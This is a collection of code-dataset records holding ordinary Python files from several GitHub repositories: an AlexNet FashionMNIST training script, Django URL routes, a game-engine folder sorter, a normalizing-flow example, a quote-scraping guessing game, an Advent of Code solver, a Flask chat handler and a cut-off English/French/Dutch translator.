0.0001\n '''\n [Q] What is the batch size?\n the number of training examples present in a single batch \n\n [Q] What is the epoch?\n one epoch look at all dataset one time. it is number of times how much to train all dataset.\n\n [Q] Please discuss the relationship between the number of iterations (for an epoch) and the batch size.\n iterations(반복횟수) are number of training times. iterations*batch size is the number of data size.\n\n\n '''\n \n # data load\n root = './MNIST_Fashion'\n transform = AlexNet.transform()\n train_set = datasets.FashionMNIST(root=root, train=True, transform=transform, download=True)\n train_loader = torch.utils.data.DataLoader(train_set, batch_size=batch_size, shuffle=True)\n test_set = datasets.FashionMNIST(root=root, train=False, transform=transform, download=True)\n test_loader = torch.utils.data.DataLoader(test_set, batch_size=batch_size, shuffle=True) \n\n \n # if gpu is to be used \n use_cuda = torch.cuda.is_available() \n print(\"use_cuda : \", use_cuda)\n device = torch.device(\"cuda:0\" if use_cuda else \"cpu\")\n model = AlexNet().to(device)\n criterion = F.nll_loss\n optimizer = optim.Adam(model.parameters(), lr=learning_rate) \n \n\n\n def train(model, device, train_loader, optimizer, epoch):\n model.train()\n for batch_idx, (data, target) in enumerate(train_loader):\n target = target.type(torch.LongTensor)\n data, target = data.to(device), target.to(device)\n optimizer.zero_grad()\n output = model(data)\n loss = criterion(output, target)\n loss.backward()\n optimizer.step()\n\n if (batch_idx + 1) % 30 == 0:\n print(\"Train Epoch:{} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}\".format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), loss.item()))\n return loss.item()\n \n def test(model, device, test_loader):\n model.eval()\n test_loss = 0\n correct = 0\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n test_loss += criterion(output, target, reduction='sum').item() \n pred = output.max(1, keepdim=True)[1]\n correct += pred.eq(target.view_as(pred)).sum().item()\n\n test_loss /= len(test_loader.dataset)\n print(\"\\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\\n\".format(\n test_loss, correct, len(test_loader.dataset), 100. * correct / len(test_loader.dataset)))\n print('='*50) \n return test_loss\n\n train_loss = []\n test_loss = []\n\n for epoch in range(1, num_epochs + 1):\n train_l = train(model, device, train_loader, optimizer, epoch)\n test_l = test(model, device, test_loader)\n train_loss.append(train_l)\n test_loss.append(test_l)\n\n pdb.set_trace() \n\n '''\n [Q] Please plot the loss & accuracy graph for both training and test phase.\n (Pdb) train_loss\n [0.5456092953681946, 0.5422663688659668, 0.2426520586013794, 0.2701944410800934, 0.47821056842803955, 0.16200780868530273, 0.174241840839386, 0.18932662904262543, 0.18114042282104492, 0.22142712771892548]\n (Pdb) test_loss\n [0.5964089431762696, 0.43458033752441405, 0.3583654022216797, 0.33160087890625, 0.29789561157226563, 0.28953544540405274, 0.27427194290161133, 0.2685143222808838, 0.26199447555541994, 0.24841377487182617]\n\n \n '''\n\n plt.figure(figsize=(10,10))\n plt.plot(train_loss,'b',label='train')\n plt.plot(test_loss,'r',label='test')\n plt.xlabel('epoch')\n plt.ylabel('loss')\n plt.title('Train loss / Test loss')\n plt.legend(loc='upper right')\n plt.show()\n","repo_name":"sohee98/2022-2nd-Course","sub_path":"Advanced Computer Vision/python 실습 파일/CNN/alexnet.py","file_name":"alexnet.py","file_ext":"py","file_size_in_byte":7585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30564877830","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'search'\n\nurlpatterns = [\n # /search/\n url(r'^$', views.index, name='index'),\n\n # /search/id/\n url(r'^(?P[a-zA-Z0-9]{24,24})/$', views.detail, name='detail'),\n #url(r'^(?P[a-zA-Z0-9]+)/$', views.detail, name='detail'),\n\n # /search/?find/\n #url(r'^(?P/find/[?]find=[a-zA-Z0-9]+)/$', views.find, name='find'),\n\n]\n","repo_name":"chiragadm/resumesdepot","sub_path":"search/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"22812905942","text":"import os\nimport subprocess\nimport time\nimport re\nimport winreg\n# import chardet\nfrom winreg import *\ndef main():\n unZipFolderPath = \"D:\\@game/new\"\n extractedFolder = os.listdir(os.path.join(unZipFolderPath,\"extracted\"))\n # 大引擎系\n # unity\n # unreal\n # godot\n unityFolder = os.path.join(unZipFolderPath,\"extracted\",\"unity\")\n unrealFolder = os.path.join(unZipFolderPath,\"extracted\",\"UE\")\n godotFolder = os.path.join(unZipFolderPath,\"extracted\",\"godot\")\n # rpgmaker系\n # rpgmakerMV/MZ/nwjs\n # rpgmakerVX/VXACE\n # pixelMakerMV\n rpgMakerFolder = os.path.join(unZipFolderPath,\"extracted\",\"mvmz-html\")\n vxvxaceFolder = os.path.join(unZipFolderPath,\"extracted\",\"vx-bxace\")\n pixelMakerMVFolder = os.path.join(unZipFolderPath,\"extracted\",\"pgmMV\")\n # 小引擎系\n # gameMaker\n # renpy\n # majiroScript\n # kirikiri\n # livemaker\n gameMakerFolder = os.path.join(unZipFolderPath,\"extracted\",\"gaameMaker\")\n renpyFolder = os.path.join(unZipFolderPath,\"extracted\",\"renpy\")\n kirikiriFolder = os.path.join(unZipFolderPath,\"extracted\",\"Siglus-krkr\")\n majiroScriptFolder = os.path.join(unZipFolderPath,\"extracted\",\"majiro\")\n liveMakerFolder = os.path.join(unZipFolderPath,\"extracted\",\"livemaker\")\n # 完全未知/安卓安装包\n # android\n # unknown\n androidFolder = os.path.join(unZipFolderPath,\"extracted\",\"android\")\n\n # 特征文件列表\n unitySpecialFileList = [\"UnityPlayer.dll\",\"UnityCrashHandler64.exe\",\"GameAssembly.dll\"]\n unrealSpecialFileList = []\n # 路径判断 Engine\\Binaries\\ThirdParty\n godotSpecialFileList = []\n # godot 没有特殊文件,只能看图标判断\n # 或者详细信息正则表达式寻找 Juan Linietsky, Ariel Manzur and contributors\n rpgMakerSpecialFileList = [\"rpg_core.js\",\"rpg_managers.js\",\"rpg_sprites.js\",\"rpg_scenes.js\",\"rpg_object.js\",\"rpg_windows.js\",\"rmmz_core.js\",\"rmmz_managers.js\",\"rmmz_sprites.js\",\"rmmz_scenes.js\",\"rmmz_object.js\",\"rmmz_windows.js\"]\n vxvxaceSpecialFileList = [\"winmm.dll\",\"Game.rvproj\",\"RGSS202J.dll\",\"Game.rgss3a\",\"System.rvdata\",\"Game.ini\"]\n # game.ini 是都有的,但是它是一个极易产生歧义的文件名\n pixelMakerMVSpecialFileList = [\"player.exe\",\"player.lib\"]\n liveMakerSpecialFileList = [\"live.dll\"]\n gameMakerSpecialFileList = [\"data.win\"]\n renpySpecialFileList = []\n kirikiriSpecialFileList = [\"SiglusEngine.exe\",\"scene.pck\"]\n majiroSpecialFileList = [\"system.arc\"]\n for folders in extractedFolder:\n folderPath = os.path.join(unZipFolderPath,\"extracted\",folders)\n fileList = os.listdir(folderPath)\n for root, dirs, files in os.walk(folderPath):\n for f in files:\n try:\n if(f in unitySpecialFileList):\n print(\"unity:\\n\"+folderPath+\"\\n\")\n os.replace(folderPath,unityFolder+\"/\"+folders)\n return 1\n elif(os.path.exists(os.path.join(folderPath,\"Engine\",\"Binaries\",\"ThirdParty\"))):\n print(\"UE:\\n\"+folderPath+\"\\n\")\n os.replace(folderPath,unrealFolder+\"/\"+folders)\n return 2\n elif(f in rpgMakerSpecialFileList):\n print(\"rpgmakerMV/MZ:\\n\"+folderPath+\"\\n\")\n os.replace(folderPath,rpgMakerFolder+\"/\"+folders)\n return 3\n elif(f in vxvxaceSpecialFileList):\n print(\"vx/vxace:\\n\"+folderPath+\"\\n\")\n os.replace(folderPath,vxvxaceFolder+\"/\"+folders)\n return 4\n elif(f in pixelMakerMVSpecialFileList):\n print(\"pixelMakerMV:\\n\"+folderPath+\"\\n\")\n os.replace(folderPath,pixelMakerMVFolder+\"/\"+folders)\n break\n elif(f in gameMakerSpecialFileList):\n print(\"gameMaker:\\n\"+folderPath+\"\\n\")\n os.replace(folderPath,gameMakerFolder+\"/\"+folders)\n break\n elif(f in kirikiriSpecialFileList):\n print(\"siglus:\\n\"+folderPath+\"\\n\")\n os.replace(folderPath,kirikiriFolder+\"/\"+folders)\n elif(f.endswith(\"xp3\")):\n print(\"kirikiri:\\n\"+folderPath+\"\\n\")\n os.replace(folderPath,kirikiriFolder+\"/\"+folders)\n break\n elif(f.endswith(\"apk\")):\n print(\"android:\\n\"+folderPath+\"\\n\")\n os.replace(folderPath,androidFolder+\"/\"+folders)\n break\n elif(f in majiroSpecialFileList):\n print(\"majiroScript:\\n\"+folderPath+\"\\n\")\n os.replace(folderPath,majiroScriptFolder+\"/\"+folders)\n break\n elif(f in liveMakerSpecialFileList):\n print(\"livemaker:\\n\"+folderPath+\"\\n\")\n os.replace(folderPath,liveMakerFolder+\"/\"+folders)\n break\n except FileNotFoundError:\n pass\n # except PermissionError:\n # print(\"权限错误\")\n # pass\n # 换成return + case match\n\n\n","repo_name":"CelestialCosmic/myTools","sub_path":"playground.py","file_name":"playground.py","file_ext":"py","file_size_in_byte":5389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12020625774","text":"import stribor as st\nimport torch\n\n\n# input_dim = (5, 3, 2, 3)\n# hidden_dims = [47, 11]\n# out_dim = 7\n# pooling = 'mean'\n\n# # dim = input_dim[-1]\n# # model = st.net.DiffeqZeroTraceDeepSet(dim, hidden_dims, dim * out_dim, pooling, return_log_det_jac=False)\n# # x = torch.randn(*input_dim).requires_grad_(True)\n\n# # t = torch.Tensor([1])\n# # f = lambda x: model(t, x)\n# # trace_exact = st.util.divergence_from_jacobian(f, x)\n\n# # assert trace_exact.sum() == 0\n# # assert torch.allclose(trace_exact, torch.zeros_like(trace_exact), atol=1e-6)\n\n# dim = input_dim[-1]\n\n# base_dist = st.UnitNormal(dim)\n\n# transforms = [\n# # st.Coupling(\n# # transform=st.Affine(dim, latent_net=st.net.MLP(dim, [64], 2 * dim)),\n# # mask='ordered_right_half',\n# # ),\n# st.ContinuousTransform(\n# dim,\n# net=st.net.DiffeqZeroTraceDeepSet(dim, hidden_dims, dim * out_dim, pooling),\n# )\n# ]\n\n# flow = st.NormalizingFlow(base_dist, transforms)\n\n\n# x = torch.randn(*input_dim).requires_grad_(True)\n# y = flow(x) # Forward transformation\n# log_prob = flow.log_prob(y) # Log-probability p(y)\n# print(y, log_prob)\n\n\n# Adapted from\n# https://github.com/smsharma/jet-setting/blob/1c07c72f3354936093589f66547d2face89036f3/notebooks/01_jets_set_transformer.ipynb#L129\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.distributions as td\n\n\nclass Flow(nn.Module):\n \"\"\"\n Building both normalizing flows and neural flows.\n\n Example:\n >>> import stribor as st\n >>> torch.manual_seed(123)\n >>> dim = 2\n >>> flow = st.Flow(st.UnitNormal(dim), [st.Affine(dim)])\n >>> x = torch.rand(1, dim)\n >>> y, ljd = flow(x)\n >>> y_inv, ljd_inv = flow.inverse(y)\n\n Args:\n base_dist (Type[torch.distributions]): Base distribution\n transforms (List[st.flows]): List of invertible transformations\n \"\"\"\n\n def __init__(self, base_dist=None, transforms=[]):\n super().__init__()\n self.base_dist = base_dist\n self.transforms = nn.ModuleList(transforms)\n\n def forward(self, x, latent=None, mask=None, t=None, reverse=False, **kwargs):\n \"\"\"\n Args:\n x (tensor): Input sampled from base density with shape (..., dim)\n latent (tensor, optional): Conditional vector with shape (..., latent_dim)\n Default: None\n mask (tensor): Masking tensor with shape (..., 1)\n Default: None\n t (tensor, optional): Flow time end point. Default: None\n reverse (bool, optional): Whether to perform an inverse. Default: False\n\n Returns:\n y (tensor): Output that follows target density (..., dim)\n log_jac_diag (tensor): Log-Jacobian diagonal (..., dim)\n \"\"\"\n transforms = self.transforms[::-1] if reverse else self.transforms\n _mask = 1 if mask is None else mask\n\n log_jac_diag = torch.zeros_like(x).to(x)\n for f in transforms:\n if reverse:\n x, ld = f.inverse_and_log_det_jacobian(\n x * _mask, latent=latent, mask=mask, t=t, **kwargs\n )\n else:\n x, ld = f.forward_and_log_det_jacobian(\n x * _mask, latent=latent, mask=mask, t=t, **kwargs\n )\n log_jac_diag += ld * _mask\n return x, log_jac_diag\n\n def inverse(self, y, latent=None, mask=None, t=None, **kwargs):\n \"\"\"Inverse of forward function with the same arguments.\"\"\"\n return self.forward(y, latent=latent, mask=mask, t=t, reverse=True, **kwargs)\n\n def log_prob(self, x, **kwargs):\n \"\"\"\n Calculates log-probability of a sample.\n\n Args:\n x (tensor): Input with shape (..., dim)\n\n Returns:\n log_prob (tensor): Log-probability of the input with shape (..., 1)\n \"\"\"\n if self.base_dist is None:\n raise ValueError(\"Please define `base_dist` if you need log-probability\")\n x, log_jac_diag = self.inverse(x, **kwargs)\n\n log_prob = self.base_dist.log_prob(x) + log_jac_diag.sum(-1)\n return log_prob.unsqueeze(-1)\n\n def sample(self, num_samples, latent=None, mask=None, **kwargs):\n \"\"\"\n Transforms samples from the base to the target distribution.\n Uses reparametrization trick.\n\n Args:\n num_samples (tuple or int): Shape of samples\n latent (tensor): Latent conditioning vector with shape (..., latent_dim)\n\n Returns:\n x (tensor): Samples from target distribution with shape (*num_samples, dim)\n \"\"\"\n\n if self.base_dist is None:\n raise ValueError(\"Please define `base_dist` if you need sampling\")\n if isinstance(num_samples, int):\n num_samples = (num_samples,)\n\n x = self.base_dist.rsample(num_samples)\n x, log_jac_diag = self.forward(x, latent, mask, **kwargs)\n return x\n\n\ndef get_exact_model(\n dim,\n hidden_dims,\n latent_dim,\n context_dim=0,\n n_transforms=4,\n n_heads=2,\n model=\"deepset\",\n set_data=False,\n device=\"cpu\",\n atol=1e-4,\n base_dist_mean=None,\n base_dist_cov=None,\n):\n has_latent = True if context_dim > 0 else False\n\n transforms = []\n\n for _ in range(n_transforms):\n if model == \"deepset\":\n net = st.net.DiffeqExactTraceDeepSet(\n dim, hidden_dims, dim, d_h=latent_dim, latent_dim=context_dim\n )\n elif model == \"settransformer\":\n net = st.net.DiffeqExactTraceAttention(\n dim,\n hidden_dims,\n dim,\n d_h=latent_dim,\n n_heads=n_heads,\n latent_dim=context_dim,\n )\n else:\n raise NotImplementedError\n\n transforms.append(\n st.flows.ContinuousTransform(\n dim,\n net=net,\n divergence=\"exact\",\n solver=\"dopri5\",\n atol=atol,\n has_latent=has_latent,\n set_data=set_data,\n )\n )\n\n if base_dist_mean is None:\n base_dist_mean = torch.zeros(dim)\n\n if base_dist_cov is None:\n base_dist_cov = torch.ones(dim)\n\n model = Flow(\n st.Normal(base_dist_mean.to(device), base_dist_cov.to(device)), transforms\n ).to(device)\n\n return model\n\n\nnetwork = get_exact_model(\n dim=3,\n hidden_dims=[64, 64],\n latent_dim=8,\n context_dim=0,\n n_transforms=2,\n n_heads=2,\n model=\"deepset\",\n set_data=True,\n # base_dist_mean=x_mean,\n # base_dist_cov=x_cov,\n # device=device,\n atol=1e-4,\n)\n\nx = torch.randn(10, 10, 3)\nprint(network.log_prob(x, mask=torch.ones_like(x)), network.sample(10))\n","repo_name":"dhuppenkothen/jumpingflows","sub_path":"code/perm_invariant_flow_example.py","file_name":"perm_invariant_flow_example.py","file_ext":"py","file_size_in_byte":6753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33960876487","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('ef/', views.employeeview, name='employeeview_url'),\n path('se/', views.showemployee, name='showemployee_url'),\n path('ue//', views.updateemployee, name='updateemployee_url'),\n path('de//', views.deleteemployee, name='deleteemployee_url'),\n\n path('home/', views.todoview, name= 'home_url'),\n path('showrecords/', views.showrecords, name= 'records_url'),\n path('updaterecords//', views.updaterecords, name= 'updaterecord_url')\n\n]","repo_name":"Yogesh-Mahajan-2196/Django-Projects","sub_path":"HR/HR_MANAGEMENT/appdata/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71748404212","text":"import requests\nfrom bs4 import BeautifulSoup\nimport random\n\nquotes_list = []\npage = 1\nwhile True:\n response = requests.get(f\"http://quotes.toscrape.com/page/{page}/\")\n soup = BeautifulSoup(response.text, \"html.parser\")\n no_quotes = soup.body.contents[1].find_all(class_=\"col-md-8\")[1].get_text()\n if \"No quotes found!\" in no_quotes:\n break\n else:\n quotes = soup.find_all(class_=\"quote\")\n\n for quote in quotes:\n quotes_list.append([quote.find(itemprop=\"text\").get_text(),\n quote.find(itemprop=\"author\").get_text(),\n quote.find(\"a\")[\"href\"]])\n page += 1\n\n\ndef get_hint(random_quote, next_hint):\n if next_hint == 0:\n hint_response = requests.get(f\"http://quotes.toscrape.com{random_quote[2]}\")\n hint_soup = BeautifulSoup(hint_response.text, \"html.parser\")\n born = hint_soup.find(class_=\"author-born-date\").get_text()\n born_location = hint_soup.find(class_=\"author-born-location\").get_text()\n print(f\"Here is a hint: The author was born {born}, {born_location}\")\n elif next_hint == 1:\n print(f\"Here is a hint: The author's first name starts with {random_quote[1][0].upper()}\")\n elif next_hint == 2:\n surname = (random_quote[1].split(\" \")[1][0]).upper()\n print(f\"Here is a hint: The author's last name starts with {surname}\")\n\n\ndef play_again():\n replay = input(\"Would you like to play again? (Y/n) > \")\n if replay.upper() == \"Y\":\n print(\"Great! Here we go again...\\n\")\n game()\n else:\n print(\"OK. See you next time.\")\n exit()\n\n\ndef game():\n random_quote = random.choice(quotes_list)\n guesses_left = 4\n next_hint = 0\n print(f\"{random_quote[0]}\")\n guess = input(f\"\\nWho said this? Guesses remaining: {guesses_left}. > \")\n\n while True:\n if guess == random_quote[1]:\n print(\"You guessed correctly! Congratulations!\")\n play_again()\n else:\n guesses_left -= 1\n if guesses_left == 0:\n print(f\"You are out of guesses! The author was {random_quote[1]}\")\n play_again()\n get_hint(random_quote, next_hint)\n next_hint += 1\n guess = input(f\"\\nWho said this? Guesses remaining: {guesses_left}. > \")\n\n\ngame()\n","repo_name":"BrettMcGregor/udemy-colt-steele","sub_path":"quote_scraping_project.py","file_name":"quote_scraping_project.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18435659846","text":"#!/usr/local/bin/python3\n\nimport re\n\ndef load_instructions(location):\n instruction_list = []\n with open(str(location), 'r') as file:\n for line in file:\n match = re.search(\"^([NSEWLRF])(\\d*)$\", line.rstrip())\n instruction_list.append((match[1], int(match[2])))\n return instruction_list\n\ndef process_instruction(instruction, x, y, direction):\n directions = [\"N\", \"E\", \"S\",\"W\"]\n command = instruction[0]\n value = instruction[1]\n if command in directions:\n x, y = move(x, y, command, value)\n elif command == \"F\":\n x, y = move(x, y, direction, value)\n elif command == \"R\":\n direction = directions[ (directions.index(direction) + int(value / 90)) % len(directions)]\n elif command == \"L\":\n direction = directions[ (directions.index(direction) - int(value / 90)) % len(directions)]\n return x, y, direction\n\ndef process_waypoint(instruction, ship_x, ship_y, waypoint_x, waypoint_y):\n directions = [\"N\", \"E\", \"S\",\"W\"]\n command = instruction[0]\n value = instruction[1]\n if command in directions:\n waypoint_x, waypoint_y = move(waypoint_x, waypoint_y, command, value)\n elif command == \"F\":\n ship_x += waypoint_x * value\n ship_y += waypoint_y * value\n else:\n turns = int(value / 90)\n for _ in range(turns):\n temp_x = waypoint_x\n temp_y = waypoint_y\n if command == \"R\":\n waypoint_x = temp_y\n waypoint_y = -temp_x\n elif command == \"L\":\n waypoint_x = -temp_y\n waypoint_y = temp_x\n return ship_x, ship_y, waypoint_x, waypoint_y\n\ndef move(x, y, direction, value):\n if direction == \"N\":\n y += value\n elif direction == \"S\":\n y -= value\n elif direction == \"E\":\n x += value\n elif direction == \"W\":\n x -= value\n return x, y\n\ndef process_file_stage01(location):\n instruction_list = load_instructions(location)\n x = 0\n y = 0\n direction = \"E\"\n for i in instruction_list:\n print(\"Command: \" + i[0] + \" Value: \" + str(i[1]))\n x, y, direction = process_instruction(i, x, y, direction)\n print(\"x: \" + str(x) + \" y: \" + str(y) + \" direction: \" + direction)\n print(location + \" - \" + \"Manhattan distance: \" + str(abs(x) + abs(y)))\n\ndef process_file_stage02(location):\n instruction_list = load_instructions(location)\n ship_x = 0\n ship_y = 0\n waypoint_x = 10\n waypoint_y = 1\n for i in instruction_list:\n print(\"Command: \" + i[0] + \" Value: \" + str(i[1]))\n ship_x, ship_y, waypoint_x, waypoint_y = process_waypoint(i, ship_x, ship_y, waypoint_x, waypoint_y)\n print(\"ship_x: \" + str(ship_x) + \" ship_y: \" + str(ship_y) + \" waypoint_x:\" + str(waypoint_x) + \" waypoint_y:\" + str(waypoint_y))\n print(location + \" - \" + \"Manhattan distance: \" + str(abs(ship_x) + abs(ship_y)))\n\nprocess_file_stage01(\"12-test.txt\")\nprocess_file_stage01(\"12-input.txt\")\nprocess_file_stage02(\"12-test.txt\")\nprocess_file_stage02(\"12-input.txt\")\n","repo_name":"tcorrin/advent_of_code_2020","sub_path":"day12/12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24910707739","text":"import html\nfrom .main import socketio, session\nfrom flask_socketio import emit, disconnect\nimport sys\nfrom .chatlog import *\nimport markdown2\n\n# this is not used yet\n\n\n@socketio.on('join', namespace='/chat')\ndef chat_join(name):\n session['Name'] = html.escape(name)\n sendToChat(session['Name'] + \" Joined\")\n\n\n@socketio.on('chat', namespace='/chat')\ndef chat_message(message):\n data = markdown2.markdown(html.escape(message))\n chatlog.AddChatLog(session['Name'], data)\n sendToChat(session['Name'] + \":\" + data)\n\n\n@socketio.on('disconnect', namespace='/chat')\ndef test_disconnect():\n sendToChat(session['Name'] + ' Left')\n session['Name'] = None\n\n\ndef sendToChat(msg):\n print('Chat>>' + msg)\n emit('chat', msg, broadcast=True)\n","repo_name":"zarlo/flasktest","sub_path":"app/socketio.py","file_name":"socketio.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25196073783","text":"#| Docstring is the given documentation on a function defined within it's source.\r\n#| For help and information about a function call 'help(function)'\r\n#| Example:\r\n\r\n# define function\r\ndef example():\r\n print('Words and spaces')\r\n\r\n# call help\r\nhelp(example)\r\n\r\n# defining a function with docstring\r\nimport math\r\ndef get_power(num, p):\r\n '''\r\n Calculates the power (p) of number (num).\r\n Parameters: int num, int p\r\n Returns: the given power of the number\r\n '''\r\n # calculate the power\r\n power = math.pow(num, p)\r\n \r\n # return the power\r\n return power\r\n\r\n# get help with the created function\r\nhelp(get_power)\r\n\r\n#| In Python, objects have built-in methods and attributes, shortcuts allow us to acess these.\r\n#| Example:\r\n\r\nget_power.__doc__\r\nprint(get_power.__doc__)\r\n\r\n#| Double underscores are used to acess special methods and attributes with predefined names.","repo_name":"joncec/MAPHO","sub_path":"App_020 (Docstring)/App.py","file_name":"App.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32288831660","text":"#Name: Shaan Kohli\r\n#Student Number: 501028410\r\n\r\n#Display Improvements Made\r\nprint(\"IMPROVEMENTS MADE: Used a different language (Dutch), used a different domain rather than eating and drinking (refer to Dutch and second French translations),\")\r\nprint(\"Increased the vocabulary to the French and Dutch dictionary, Added comments, Added the reverseDictionary function (refer to the first thing printed in output),\")\r\nprint(\"Added a thesaurus (translates a specific input to synonyms of the words, which then translates to dutch from there),\")\r\nprint(\"Added a compareCharacters function which compares the number of characters found in the input and output, Removed the extra period in output,\")\r\nprint(\"Added the word count of the input and output\\n\")\r\n\r\n#English to French Dictionary\r\nEtoF = {'bread' : 'pain', 'wine' : 'vin', 'with' : 'avec', 'I' : 'Je',\r\n 'eat' : 'mange', 'drink' : 'bois', 'John' : 'Jean', 'friends' : 'amis', 'and' : 'et', 'of' : 'du', 'red' : 'rouge', 'play' : 'jouer',\r\n 'basketball' : 'basketball', 'by' : 'par', 'myself' : 'moi-même', 'because' : 'car', 'require' : 'exiger', 'exercise' : 'exercice'}\r\n#French to English Dictionary\r\nFtoE = {'pain': 'bread', 'vin': 'wine', 'avec': 'with', 'Je': 'I', 'mange': 'eat', 'bois': 'drink', 'Jean': 'John', 'amis': 'friends', 'et': 'and', 'du': 'of', 'rouge': 'red',\r\n 'jouer' : 'play', 'basketball' : 'basketball', 'par' : 'by', 'moi-même' : 'myself', 'car' : 'because', 'exiger' : 'require', 'exercice' : 'exercise', 'ne' : 'not', 'joue' : 'play',\r\n 'pas' : 'not', 'au' : 'at', 'basket' : 'basketball'}\r\n#English to Dutch Dictionary\r\nEtoD = {'night' : 'nacht', 'long' : 'lang', 'a' : 'een', 'Friday' : 'Vrijdag', 'sit' : 'zitten', 'phone' : 'telefoon',\r\n 'watch' : 'toezitch', 'my' : 'mijn', 'to' : 'naar', 'while' : 'terwijl', 'playing' : 'spelen', 'couch' : 'bankstel',\r\n 'and' : 'en', 'I' : 'ik', 'on' : 'Aan', 'my' : 'mijn', 'television' : 'televisie', 'like' : 'als', 'two' : 'twee',\r\n 'red' : 'rood', 'english' : 'Engels', 'Friday evening' : 'vrijdagavond', 'sits' : 'zit', 'gladly' : 'graag', 'sofa' : 'bank',\r\n 'look' : 'kijk', 'play' : 'speel', 'eat' : 'eten', 'every' : 'elke', 'type' : 'type', 'vegetable' : 'groente',\r\n 'as' : 'als', 'love' : 'liefde', 'any' : 'ieder', 'device' : 'apparaat', 'peaceful' : 'vredig', 'fearless' : 'onbevreesd',\r\n 'energize' : 'energie geven', 'involve' : 'betrekken', 'condition' : 'staat', 'thoughtful' : 'attent', 'unclear' : 'onduidelijk'}\r\n#Reverse Dictionary function to show Dutch to English Dictionary\r\ndef reverseDictionary(dictionary):\r\n DtoE={}\r\n for key in dictionary.keys():\r\n DtoE[dictionary[key]] = key\r\n return DtoE\r\n#Print Dutch to English Dictionary\r\nprint(reverseDictionary(EtoD))\r\n#English Thesaurus\r\nEtoES = {'eat' : 'consume', 'every' : 'all', 'type' : 'sort', 'vegetable' : 'herb', 'as' : 'since', 'love' : 'adore', 'any' : 'each', 'i' : 'i',\r\n 'of' : 'of', 'device' : 'gadget', 'peaceful' : 'serene', 'fearless' : 'intrepid', 'energize' : 'invigorate', 'involve' : 'embroil',\r\n 'condition' : 'fettle', 'thoughtful' : 'pensive', 'unclear' : 'ambiguous'}\r\n#Dutch to English Dictionary\r\nDtoE = {'nacht' : 'night', 'lange' : 'long', 'een' : 'a', 'Vrijdag' : 'Friday', 'zitten' : 'sit', 'telefoon' : 'phone',\r\n 'toezitch' : 'watch', 'mijn' : 'my', 'naar' : 'to', 'terwijl' : 'while', 'spelen' : 'playing', 'bankstel' : 'couch',\r\n 'en' : 'and', 'ik' : 'I', 'op' : 'on', 'mijn' : 'my', 'televisie' : 'television', 'als' : 'like', 'vrijdagavond' : 'Friday evening',\r\n 'zit' : 'sits', 'graag' : 'gladly', 'bank' : 'sofa', 'kijk' : 'look', 'speel' : 'play', 'eten' : 'eat', 'elke' : 'every', 'type' : 'type',\r\n 'groente' : 'vegetable', 'als' : 'as', 'liefde' : 'love', 'ieder' : 'any', 'apparaat' : 'device', 'vredig' : 'peaceful', 'onbevreesd': 'fearless',\r\n 'energie geven' : 'energize', 'betrekken' : 'involve', 'staat' : 'condition', 'attent' : 'thoughtful', 'onduidelijk' : 'unclear'}\r\n#English Thesaurus to Dutch Thesaurus\r\nEStoDS = {'consume' : 'consumeren', 'all' : 'alle', 'sort' : 'soort', 'herb' : 'kruid', 'since' : 'sinds', 'adore' : 'aanbidden', 'each' : 'elk', 'i' : 'ik',\r\n 'of' : 'van', 'gadget' : 'gadget', 'serene' : 'sereen', 'intrepid' : 'onverschrokken', 'invigorate' : 'versterken', 'embroil' : 'verwikkelen',\r\n 'fettle' : 'afrossen', 'pensive' : 'nadenkend', 'ambiguous' : 'dubbelzinnig'}\r\n#Dutch Thesaurus to English Thesaurus\r\nDStoES = {'consumeren' : 'consume', 'alle' : 'all', 'soort' : 'sort', 'kruid' : 'herb', 'sinds' : 'since', 'aanbidden' : 'adore', 'elk' : 'each', 'ik' : 'i',\r\n 'van' : 'of', 'gadget' : 'gadget', 'sereen' : 'serene', 'onverschrokken' : 'intrepid', 'versterken' : 'invigorate', 'verwikkelen' : 'embroil',\r\n 'afrossen' : 'fettle', 'nadenkend' : 'pensive', 'dubbelzinnig' : 'ambiguous'}\r\n#Dictionarys sorted\r\ndicts = {'English to French' : EtoF, 'French to English' : FtoE, 'English to Dutch' : EtoD, 'Dutch to English' : DtoE, 'English Thesaurus' : EtoES, 'English to Dutch Thesaurus' : EStoDS,\r\n 'Dutch to English Thesaurus' : DStoES}\r\n#Function for translating certain words in dictionary\r\ndef translateWord(word, dictionary) :\r\n if word in dictionary.keys() :\r\n return dictionary[word]\r\n elif word != '' :\r\n return '\"' + word + '\"'\r\n return word\r\n#Function for translating a given phrase\r\ndef translate(phrase, dicts, direction) :\r\n #Upper case letters\r\n UCletters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\r\n #Lower case letters\r\n LCletters = 'abcdefghijklmnopqrstuvwxyz'\r\n letters = UCletters + LCletters\r\n dictionary = dicts[direction]\r\n translation = ''\r\n word = ''\r\n #Process for finding the translated words\r\n for character in phrase :\r\n if character in letters :\r\n word = word + character\r\n else :\r\n translation = translation + translateWord(word, dictionary) + character\r\n word = ''\r\n #Finding the translation\r\n translation = translation + translateWord(word, 